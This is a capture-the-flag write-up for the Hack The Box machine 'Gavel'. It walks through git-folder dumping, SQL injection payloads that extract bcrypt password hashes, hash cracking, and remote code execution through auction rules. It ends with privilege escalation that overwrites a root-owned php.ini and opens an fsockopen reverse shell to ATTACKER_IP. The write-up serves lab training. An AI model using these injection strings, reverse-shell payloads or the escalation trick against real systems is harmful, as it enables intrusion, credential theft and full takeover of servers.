Gavel HTB Writeup: From SQLi to Auction Rule RCE and php.ini PE

Gavel HTB Writeup logo
  1. The initial nmap scan shows us 2 open ports 22 and 80:
$ nmap -sV -sC --top-ports=5000 10.129.242.203
<SNIP>
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_  256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://gavel.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
sudo echo '10.129.242.203 gavel.htb' >> /etc/hosts
  1. We can launch ffuf fuzzying for the available files and we see that webppage contains .git folder, which is very interesting
$ ffuf -w=raft-large-files.txt -u http://gavel.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://gavel.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

admin.php               [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 91ms]
login.php               [Status: 200, Size: 4281, Words: 1817, Lines: 79, Duration: 1506ms]
.htaccess               [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 87ms]
logout.php              [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 88ms]
.                       [Status: 200, Size: 14040, Words: 4629, Lines: 223, Duration: 85ms]
index.php               [Status: 200, Size: 13977, Words: 4616, Lines: 223, Duration: 3521ms]
.html                   [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 80ms]
register.php            [Status: 200, Size: 4485, Words: 1571, Lines: 85, Duration: 4533ms]
.php                    [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 83ms]
.htpasswd               [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 82ms]
.htm                    [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 80ms]
.git                    [Status: 301, Size: 305, Words: 20, Lines: 10, Duration: 81ms]
.htpasswds              [Status: 403, Size: 274, Words: 20, Lines: 10, Duration: 80ms]
[WARN] Caught keyboard interrupt (Ctrl-C)
$ pipx install githacker
  1. You may run it directly versus the webpage:
$ githacker --url http://gavel.htb --output-folder gavel
  1. We can analyze the source code files, after some time we can find some suspicious part inside of inventory.php:
<SNIP>
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";

try {
    if ($sortItem === 'quantity') {
        $stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
        $stmt->execute([$userId]);
    } else {
        $stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
        $stmt->execute([$userId]);
    }
    $results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
    $results = [];
}
<SNIP>
  1. Because $col is built from the user-controlled input, specifically:
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
<SNIP>
foreach ($results as $row) {
    $firstKey = array_keys($row)[0];
    $name = $row['item_name'] ?? $row[$firstKey] ?? null;
    if (!$name) {
        continue;
    }
<SNIP>
Gavel HTB Writeup user registration
  1. We can send our test curl request with the valid cookie to get the regular page output:
$ curl -s 'http://gavel.htb/inventory.php?user_id=test&sort=test' -H 'Cookie: gavel_session=YOURSESSION'

This requests lead to PHP Code like:
$sortItem = "test";
$userId = "test";
$col = "`test`";

$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);

And our final query to the database will be looking like:

SELECT `test` FROM inventory WHERE user_id = 'test' ORDER BY item_name ASC
  1. The above query of course doesn’t lead to anything suspicious it just outputs an empty inventory page, which gives us a stable baseline for invalid values:
<SNIP>          
            <div class="d-flex justify-content-between align-items-center mb-3">
                <div class="flex-grow-1 mr-3">
                                            <div class="alert alert-info mb-0">Your inventory is empty.</div>
                                    </div>
                <form action="" method="POST" class="form-inline" id="sortForm">
                    <label for="sort" class="mr-2 text-dark"><strong>Sort by:</strong></label>
                    <input type="hidden" name="user_id" value="2">
                    <select name="sort" id="sort" class="form-control form-control-sm mr-2" onchange="document.getElementById('sortForm').submit();">
                        <option value="item_name" >Name</option>
                        <option value="quantity" >Quantity</option>
                    </select>

<SNIP>
  1. The next request will check the sort backend logic:
$ curl -s 'http://gavel.htb/inventory.php?user_id=test&sort=quantity' -H 'Cookie: gavel_session=YOURSESSION'

The final SQL Will be looking like:

SELECT item_name, item_image, item_description, quantity
FROM inventory
WHERE user_id = 'test'
ORDER BY quantity DESC

With the final output like:

            <div class="d-flex justify-content-between align-items-center mb-3">
                <div class="flex-grow-1 mr-3">
                                            <div class="alert alert-info mb-0">Your inventory is empty.</div>
                                    </div>
                <form action="" method="POST" class="form-inline" id="sortForm">
                    <label for="sort" class="mr-2 text-dark"><strong>Sort by:</strong></label>
                    <input type="hidden" name="user_id" value="2">
                    <select name="sort" id="sort" class="form-control form-control-sm mr-2" onchange="document.getElementById('sortForm').submit();">
                        <option value="item_name" >Name</option>
                        <option value="quantity" selected>Quantity</option>
                    </select>
                </form>
            </div>
            <div class="row">
<SNIP>
  1. The page still loads, and the selected sort option visibly changes to Quantity. Sort is being processed by the backend and changes the SQL path. Let’s test some untypical syntax for the sort:
$ curl -s 'http://gavel.htb/inventory.php?user_id=test&sort=%5C%3F%3B--+-%00' -H 'Cookie: gavel_session=YOURSESSION'

That should lead to PHP Code be like:

$sortItem = "\?;-- -\x00";
$col = "`\?;-- -\x00`";

And our approximate final query will be looking like:

SELECT `\?;-- -...` FROM inventory WHERE user_id = 'test' ORDER BY item_name ASC

With the output like:

            <div class="d-flex justify-content-between align-items-center mb-3">
                <div class="flex-grow-1 mr-3">
                                            <div class="alert alert-info mb-0">Your inventory is empty.</div>
                                    </div>
                <form action="" method="POST" class="form-inline" id="sortForm">
                    <label for="sort" class="mr-2 text-dark"><strong>Sort by:</strong></label>
                    <input type="hidden" name="user_id" value="2">
                    <select name="sort" id="sort" class="form-control form-control-sm mr-2" onchange="document.getElementById('sortForm').submit();">
                        <option value="item_name" >Name</option>
                        <option value="quantity" >Quantity</option>
                    </select>
                </form>
            </div>
            <div class="row">
  1. There were not any visible changes in the Response. But the most important thing that a malformed sort value is seemingly accepted and reached the SQL-building code, but by itself does not produce any visible data extraction. However we can try to get some exfiltrated data with the next query, which will be containing malformed data in both parameters:
$ curl -s 'http://gavel.htb/inventory.php?user_id=test%60+FROM+(SELECT+1000+AS+%60%27test%60)+test2;--+-&sort=%5C%3F%3B--+-%00' -H 'Cookie: gavel_session=YOURSESSION'

Decoded user_id value is:
test` FROM (SELECT 1000 AS `'test`) test2;-- -

The original intented query should look like this:
SELECT `\?;-- -...` FROM inventory WHERE user_id = ? ORDER BY item_name ASC

But with the both parameters the query shape will be like:

SELECT 1000
FROM (SELECT 1000 AS `'test`) test2
...

The application then reflects the first returned field into the inventory UI. Because the injected value is numeric, it is used both as the item name and as the quantity, which results in a visible card showing 1000 and a badge x1000.

The Response will be changed and looking like:

            <div class="row">
                                    <div class="col-md-4">
                        <div class="card shadow mb-4">
                            <div class="card-body">
                                <img src="/assets/img/" class="card-img-top" alt="1000">
                                <hr>
                                <h5 class="card-title"><strong>1000</strong>
                                                                    <span class="badge badge-pill badge-dark">x1000</span>
                                                                </h5><hr>
                                <p class="card-text text-justify"></p>
                            </div>
                        </div>
                    </div>
                            </div>
  1. If you are curious you can open request in browser and input the query directly, you will see something like this:
  1. As we confirmed the injection, we can try exfiltrating some data, the simplest way to do it just change our constant ‘1000’ for some internal variable like database():
$ curl -s 'http://gavel.htb/inventory.php?user_id=test%60+FROM+(SELECT+database()+AS+%60%27test%60)+test2;--+-&sort=%5C%3F%3B--+-%00' -H 'Cookie: gavel_session=YOURSESSION'

The effective SQL query will be looking like:

SELECT database()
FROM (SELECT database() AS `'test`) test2
-- ...

The result of the query is:
<SNIP>
            <div class="row">
                                    <div class="col-md-4">
                        <div class="card shadow mb-4">
                            <div class="card-body">
                                <img src="/assets/img/" class="card-img-top" alt="gavel">
                                <hr>
                                <h5 class="card-title"><strong>gavel</strong>
                                                                </h5><hr>
                                <p class="card-text text-justify"></p>
                            </div>
                        </div>
                    </div>
<SNIP>
  1. We have successfully got the database name, we can continue further enumeration:
$ curl -s 'http://gavel.htb/inventory.php?user_id=test%60+FROM+(SELECT+group_concat(table_name)+AS+%60%27test%60+FROM+information_schema.tables+WHERE+table_schema=database())test2;--+-&sort=%5C%3F%3B--+-%00' -H 'Cookie: gavel_session=cm1e4pgmdmrlab6o8ck4p8cg14'

The SQL query should look approximately like this:

SELECT group_concat(table_name)
FROM information_schema.tables
WHERE table_schema = database()

With the effective result as:
<SNIP>
            <div class="row">
                                    <div class="col-md-4">
                        <div class="card shadow mb-4">
                            <div class="card-body">
                                <img src="/assets/img/" class="card-img-top" alt="auctions,inventory,items,users">
                                <hr>
                                <h5 class="card-title"><strong>auctions,inventory,items,users</strong>
                                                                </h5><hr>
                                <p class="card-text text-justify"></p>
                            </div>
                        </div>
                    </div>
                            </div>
        </div>
<SNIP>
  1. We have successfully retrieved the list of tables and the users table appears to be the most interesting target, so the next step is to enumerate its contents to identify useful information such as usernames, password hashes, or other credentials that may help us progress further:
$ curl -s 'http://gavel.htb/inventory.php?user_id=test%60+FROM+(SELECT+group_concat(column_name)+AS+%60%27test%60+FROM+information_schema.columns+WHERE+table_schema=database()+AND+table_name=0x7573657273)test2;--+-&sort=%5C%3F%3B--+-%00' -H 'Cookie: gavel_session=YOURSESSION'

This one targets database tables.

*0x7573657273 is a hex representation of table 'users', because it doesn't need any quotes and therefore make sqli a bit easier

The effective query looks like:

SELECT group_concat(column_name)
FROM information_schema.columns
WHERE table_schema = database()
  AND table_name = 'users'

The server Response is:

            <div class="row">
                                    <div class="col-md-4">
                        <div class="card shadow mb-4">
                            <div class="card-body">
                                <img src="/assets/img/" class="card-img-top" alt="created_at,id,money,password,role,username">
                                <hr>
                                <h5 class="card-title"><strong>created_at,id,money,password,role,username</strong>
                                                                </h5><hr>
                                <p class="card-text text-justify"></p>
                            </div>
                        </div>
                    </div>
                            </div>
        </div>
    </div>
  1. We have retrieved the table names and can see that the users table contains fields such as username, password, and role, making it the most interesting target, so the next query will extract the most relevant information from this table to help us move further in the attack chain:
$curl -s 'http://gavel.htb/inventory.php?user_id=test%60+FROM+(SELECT+group_concat(username,0x3a,password)+AS+%60%27test%60+FROM+users)test2;--+-&sort=%5C%3F%3B--+-%00' -H 'Cookie: gavel_session=YOURSESSION'

The effective SQL query:

SELECT group_concat(username,0x3a,password)
FROM users

The server response is:

            <div class="row">
                                    <div class="col-md-4">
                        <div class="card shadow mb-4">
                            <div class="card-body">
                                <img src="/assets/img/" class="card-img-top" alt="auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiu<HASH_REDACTED>n0pLQlC2So9SgH5RTfS,pentester:$2y$10$ZmVu6Pl1zYxeP4yasHpZvuzcC2/Sv1n9H8wBlB9kFhENc5pN8UFLK">
                                <hr>
                                <h5 class="card-title"><strong>auctioneer:$2y$10$MNkDHV6g16FjW/lAQRpLiu<HASH_REDACTED>LQlC2So9SgH5RTfS,pentester:$2y$10$ZmVu6Pl1zYxeP4yasHpZvuzcC2/Sv1n9H8wBlB9kFhENc5pN8UFLK</strong>
                                                                </h5><hr>
                                <p class="card-text text-justify"></p>
                            </div>
                        </div>
                    </div>
                            </div>
        </div>
    </div>
  1. We have successfully retrieved user password hashes, including those belonging to the auctioneer account as well as the account we previously identified, which can now be used for further access or offline cracking. The hashes are bcrypt, Blowfish (Unix) and can be cracked with -m 3200 module:
$ hashcat -m 3200 hash.txt rockyou.txt
<SNIP>
$2y$10$MNkDHV6g16FjW<HASH_REDACTED>n0pLQlC2So9SgH5RTfS:mid<PASSWORD_REDACTED>ht1
<SNIP                                                   
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
  1. We can login with the obtained username and password and notice that we have an access to the admin panel:
Gavel HTB Writeup admin
$auction_id = intval($_POST['auction_id'] ?? 0);
$rule = trim($_POST['rule'] ?? '');
$message = trim($_POST['message'] ?? '');

if ($auction_id > 0 && $rule && $message) {
    $stmt = $pdo->prepare("UPDATE auctions SET rule = ?, message = ? WHERE id = ?");
    $stmt->execute([$rule, $message, $auction_id]);
}
  1. The above code is dangerous because the application treats rule as an editable user input, but that same value is later used as executable PHP code. Then, in includes/bid_handler.php, the stored rule is retrieved from the database:
$rule = $auction['rule'];
$rule_message = $auction['message'];

$allowed = false;

try {
    if (function_exists('ruleCheck')) {
        runkit_function_remove('ruleCheck');
    }
    runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
    error_log("Rule: " . $rule);
    $allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
    error_log("Rule error: " . $e->getMessage());
    $allowed = false;
}
  1. Clone the exploit from the repo:
$ git clone https://github.com/symphony2colour/gavel-htb-rce
  1. Change into the exploit directory and execute it; this will result in a stable shell being obtained almost immediately.
python gavel_rce.py <ATTACKER_IP> <ATTACKER_PORT>
[INFO] [+] Your initial cookie is:{'gavel_session': 'jpf1275rui80tda51pkau4koko'}
[INFO] [+] Successful login!
[INFO] [+] Candidate auctions: 552 (end=1773936875, current=1090), 553 (end=1773937003, current=1936), 554 (end=1773937021, current=1678)
[INFO] [+] Using auction_id=552
[INFO] [+] admin.php responded with 200
[INFO] [+] Using auction_id=553
[INFO] [+] admin.php responded with 200
[INFO] [+] Using auction_id=554
[INFO] [+] admin.php responded with 200
[INFO] [+] Shell name is: shell_q7d7cy6v.php
[INFO] [+] Triggering bid for auction_id=552, bid=1091
[INFO] [+] bid_handler.php responded with 200
[INFO] [+] Response JSON: {'success': True, 'message': 'Bid placed successfully!'}
[INFO] [+] Successful bid on auction_id=552 (current=1090, bid=1091), stopping loop
[INFO] [+] Starting listener on port 5050...
[INFO] [+] Triggering shell via http://gavel.htb/includes/shell_q7d7cy6v.php
[INFO] [+] Trigger request status: 200
bash: cannot set terminal process group (1044): Inappropriate ioctl for device
bash: no job control in this shell
www-data@gavel:/var/www/html/gavel/includes$ whoami
whoami
www-data
www-data@gavel:/var/www/html/gavel/includes$ 
  1. We have obtained a shell as www-data; however, if we inspect the /etc/passwd file, we can see that the auctioneer user is also present on the system, which suggests that further lateral movement may be possible:
www-data@gavel:/var/www/html/gavel/includes$ cat /etc/passwd 
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
<SNIP>
vboxadd:x:998:1::/var/run/vboxadd:/bin/false
mysql:x:110:119:MySQL Server,,,:/nonexistent:/bin/false
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
_laurel:x:997:997::/var/log/laurel:/bin/false
  1. Now we can try to switch users with su and reuse the password we obtained earlier for the auctioneer account:
www-data@gavel:/var/www/html/gavel/includes$ su auctioneer 
su auctioneer
Password: <REDACTED>
/bin/bash -i 
auctioneer@gavel:/var/www/html/gavel/includes$ whoami
whoami
auctioneer
  1. We can check the /home/acutioneer folder and find a user flag:
auctioneer@gavel:/var/www/html/gavel/includes$ cd /home/auctioneer
cd /home/auctioneer
auctioneer@gavel:~$ cat user.txt
cat user.txt
fda6460<FLAG_REDACTED>49ea
auctioneer@gavel:~$ id
id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
  1. That is particularly interesting, because in many case sush groups can have an access to some specific functions or files, we can check sush assumption it by using the next command:
find / -group gavel-seller -type f 2>/dev/null
/usr/local/bin/gavel-util
  1. Running the binary with the help flag shows its functionality:
auctioneer@gavel:~$ /usr/local/bin/gavel-util -h

Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
  submit <file>           Submit new items (YAML format)
  stats                   Show Auction stats
  invoice                 Request invoice
  1. It supports commands such as submit, stats and invoice. The submit unctionality is especially interesting, as it accepts a file in YAML format. Further static analysis with strings reveals that the binary communicates with a local Unix socket:
auctioneer@gavel:~$ strings /usr/local/bin/gavel-util
<SNIP>
fopen
failed to read %s
/var/run/gaveld.sock
failed to connect to %s
<SNIP
  1. Checking running processes confirms this:
auctioneer@gavel:~$ ps -aux | grep gavel             
ps -aux | grep gavel
root         997  0.0  0.0  19128  3868 ?        Ss   07:51   0:00 /opt/gavel/gaveld
root        1011  0.5  0.4  26784 18308 ?        Ss   07:51   3:14 python3 /root/scripts/timeout_gavel.py
auction+   99869  0.0  0.0   6488  2308 pts/0    S+   17:02   0:00 grep gavel
  1. This indicates that gavel-util acts as a client, sending data to a privileged backend service gaveld running as root. This creates a potential trust boundary violation, where user-controlled input is processed with elevated privileges. But main problem is that we actually have a restricted environment:
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini              
cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
auctioneer@gavel:~$ ls -l /opt/gavel/.config/php/php.ini              
-rw-r--r-- 1 root root 502 Oct  3 19:35 /opt/gavel/.config/php/php.ini
auctioneer@gavel:~$ cat > /tmp/exploit.yaml << 'EOF'
name: "Exploit Item"
description: "Test description"
image: "test.png"
price: 100
rule_msg: "Test rule"
rule: "file_put_contents('/opt/gavel/.config/php/php.ini', 'engine=On\ndisplay_errors=On\nopen_basedir=/\ndisable_functions=\n'); return true;"
EOF
  1. We then submit it using the privileged client:
auctioneer@gavel:~$ /usr/local/bin/gavel-util submit /tmp/exploit.yaml
Item submitted for review in next auction
  1. Since the backend service processes this rule with elevated privileges, it overwrites php.ini, removing all restrictions.
auctioneer@gavel:~$ cat /opt/gavel/.config/php/php.ini
cat /opt/gavel/.config/php/php.ini
engine=On
display_errors=On
open_basedir=/
disable_functions=
auctioneer@gavel:~$ cat > /tmp/exploit.yaml << 'EOF'
name: "Root Shell"
description: "Test description"
image: "test.png"
price: 100
rule_msg: "Test rule"
rule: "$sock=fsockopen('ATTACKER_IP', ATTACKER_PORT);system('bash <&3 >&3 2>&3');"
EOF
  1. Start a netcat listener on your machine:
nc -lvnp 5050
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:5050
Ncat: Listening on 0.0.0.0:5050
  1. Run the available command on the machine again:
auctioneer@gavel:/tmp$ /usr/local/bin/gavel-util submit /tmp/exploit.yaml
  1. The reverse connection should be triggered almost immediately, read the root flag:
Ncat: Connection from 10.129.242.203:56622.
whoami
root
/bin/bash -i
bash: cannot set terminal process group (997): Inappropriate ioctl for device
bash: no job control in this shell
root@gavel:/# cat /root/root.txt
dd5512096<FLAG_REDACTED>f57e4b557

Final Thoughts: